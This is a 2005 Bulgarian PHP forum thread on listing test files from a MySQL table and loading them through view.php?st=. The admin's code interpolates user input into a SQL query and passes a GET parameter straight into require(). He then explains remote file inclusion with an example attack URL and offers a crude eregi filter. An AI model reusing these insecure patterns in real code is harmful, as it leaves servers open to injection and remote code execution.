- линк към файл в базата
WT форуми -> PHP MySQL ASP.NET -> линк към файл в базата
Създайте нова тема Напишете отговор 
Автор Съобщение
cracking
Турист
Турист

Регистриран на: 26/09/2005 12:14 am

Support: 0
Bonus: 0
Мнения: 239
Мнение 27/12/2005 10:51 pm     линк към файл в базата Отговорете с цитат


Боби мисля, че беше споменал , че самите ти уроци в сайта са в файлове а линковете към тях се записва в базата.Еми аз сега правя една система за тестове и искам вместо да са линкове тестовете да са примерно test.php?id=23 или test.php?his=23 но това последствие ще се реши.Трябва ми как да записва в базата , че като конектни да изкарва направо садържаниете на файла.
Примерно всички тестове са с име 1.php;2.php;3.php....
и аз от самия скрипт с който ги добавям казвам 1.php ще е тест за История , 2.php ще е за Химия и така нататък.И от базата примерно ще изкарва всички от История и като се щракне да бъде test.php?his=23 и да показва файла 1.php МОЛЯ ако има начин да стане дами помогнете.

П.С.
Мислех ЛС да ти пращам, но може и друг да има същия проблем и да го намери в форума Wink
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Посетете сайта на потребителя
admin
Активен
Активен

Регистриран на: 02/07/2005 1:36 am

Support: 224
Bonus: 474
Мнения: 11683
Мнение 28/12/2005 12:06 am      Отговорете с цитат


Ако ще е с файлове трябва да е нещо такова:
Имаш примерно 3 файла:
test1.php - test2.php -test3.php в тях са тестовете или нещо друго.

А в базата данни в записано следното:
id---------zaglavie------fail-----
1------- тест Н:1 -------- test1------
2------- тест Н:2 -------- test2------
3------- тест Н:13 --------test3------


Скрипт :

<table>
<?php
mysql_connect(localhost,$user,$password);
@mysql_select_db($database) or die( "Unable to select database");

$query="SELECT * from table where zaglavie like '%$search%'";
$result=mysql_query($query);
$num=mysql_numrows($result);
mysql_close();
$i=1;
while ($i < $num) {

$zag=mysql_result($result,$i,"zaglavie");
$fail=mysql_result($result,$i,"fail");

echo '
<tr><td >
<a href=view.php?st='.$fail.' target=_blank> '.$zaglavie.'</a>
</td>
</tr>';

$i++;
}
?>
</table>





Другия файл view.php ще изглежда така:


<?php
$st = $_GET["st"];
require("пътя до папката в която са файловете/$st.php");
?>


Първо го направи после ще ти обяснявам защо е опасно това и как да се защитиш.
Ако нещо има грешка кажи.
Писал съм го без да го тествам.
Там където има $search го остави така.В момента тази променлива няма стойност и ще изкара всички заглавия.
В последствие може да я ползваш.
Дай да видиме какво ще стане и дали ще проработи.
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Посетете сайта на потребителя
cracking
Турист
Турист

Регистриран на: 26/09/2005 12:14 am

Support: 0
Bonus: 0
Мнения: 239
Мнение 28/12/2005 12:47 am      Отговорете с цитат


Аха стана.Е вместо $i=1; трябва да е $i=0; но това не е нищо сложно.
Стана.Е аз мога да ги търся по заглавие примерно.Да ги изкарвам.Много ще ми е удобно по този начин.
Я кажи кое е страшното при използване на този начин? При
<?php
$st = $_GET["st"];
require("$st.php");
?>

това нали?че позволява да файл и php.
Ами аз ще пробвам да ги вземам, но по id=23 ще видим дали ще стане. Wink
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Посетете сайта на потребителя
admin
Активен
Активен

Регистриран на: 02/07/2005 1:36 am

Support: 224
Bonus: 474
Мнения: 11683
Мнение 28/12/2005 1:20 am      Отговорете с цитат


В моя пример не е толкова опасно.
<?php
$st = $_GET["st"];
require("пътя до папката в която са файловете/$st.php");
?>

Ти обаче ми даваш за пример следното:

<?php
$st = $_GET["st"];
require("$st.php");
?>

Това дето си го дал за пример е опасно.
Проблема е, че линка придобива следния вид:
http://domein.com/view.php?st=test1

в случая require на файла test1.php.

Обаче ако някой напише линка така:
http://domein.com/view.php?st=http://web-tourist.net/ataka

ще се изпълни файла (ataka.php)който се намира на отдалечен сървър.
Този файл може да съдържа зловреден php код който ще се изпълни на твоя сървър. Confused

Трябва да добавиш една проверка:


<?php
$st = $_GET["st"];
if (eregi('/',$st))
{exit;}

require("$st.php");
?>
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Посетете сайта на потребителя
cracking
Турист
Турист

Регистриран на: 26/09/2005 12:14 am

Support: 0
Bonus: 0
Мнения: 239
Мнение 28/12/2005 12:59 pm      Отговорете с цитат


Значи ако е
<?php
$st = $_GET["st"];
require("/test_file/$st.php");
?>
Няма да е опасно така ли?


Не може ли да стане примерно в базата кадето се записва името на файла да се записва само примерно 1,2,3,4,5... и към require("/test_file/$st.php"); да се пребави името на файла require("/test_file/$st тест.php"); само , че как ще стане? Rolling Eyes

и да е примерно view.php?st=123
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Посетете сайта на потребителя
admin
Активен
Активен

Регистриран на: 02/07/2005 1:36 am

Support: 224
Bonus: 474
Мнения: 11683
Мнение 29/12/2005 12:03 am      Отговорете с цитат


Най лесно ще е ако файловете се казват 1.php ,2.php, 3.php ... 123.php . Smile
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Посетете сайта на потребителя
Покажи мнения от преди:    
Създайте нова тема   Напишете отговор    web-tourist.net Форуми -> PHP MySQL ASP.NET Часовете са според зоната GMT + 2 Часа
Страница 1 от 1


 
Идете на:  
Не Можете да пускате нови теми
Не Можете да отговаряте на темите
Не Можете да променяте съобщенията си
Не Можете да изтривате съобщенията си
Не Можете да гласувате в анкети